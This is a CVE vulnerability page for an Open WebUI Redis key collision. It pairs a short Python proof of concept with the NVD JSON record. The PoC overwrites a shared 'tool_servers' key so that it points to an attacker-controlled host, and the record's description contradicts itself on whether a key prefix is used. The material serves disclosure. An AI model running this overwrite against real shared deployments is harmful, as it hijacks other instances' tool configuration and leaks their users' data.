CVE-2026-44552

# PoC: Open WebUI Configuration Overwrite via Redis Key Collision # This script demonstrates how an admin on Instance A can overwrite Instance B's config. import redis # Connect to the shared Redis instance r = redis.Redis(host='shared-redis-host', port=6379, db=0) # Simulating Instance A (Attacker) setting a malicious config # In utils/tools.py, the key 'tool_servers' is used without a prefix. malicious_config = {"server": "http://attacker-controlled-server.com", "token": "stolen-token"} # Exploit: Write to the unprefixed key r.set('tool_servers', str(malicious_config)) print("[+] Instance A (Attacker) overwrote the shared 'tool_servers' key.") print(f"[+] New value: {r.get('tool_servers')}") # Simulating Instance B (Victim) reading the config victim_config = r.get('tool_servers') print(f"[-] Instance B (Victim) reads config: {victim_config}") # Victim now uses the attacker's tool server, potentially leaking data.

{"cve": {"id": "CVE-2026-44552", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:46.570", "lastModified": "2026-05-15T20:16:46.570", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the tool_servers and terminal_servers keys in utils/tools.py do use a prefix. When two or more Open WebUI instances share a Redis database (a supported and documented deployment pattern, e.g., for multi-region deployments, blue-green setups, or cluster topologies), the unprefixed keys collide. An admin on Instance A writing to tool_servers overwrites the value read by Instance B — causing Instance B's users to receive Instance A's tool server configuration. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-668"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-3x8w-4f7p-xxc2", "source": "[email protected]"}]}}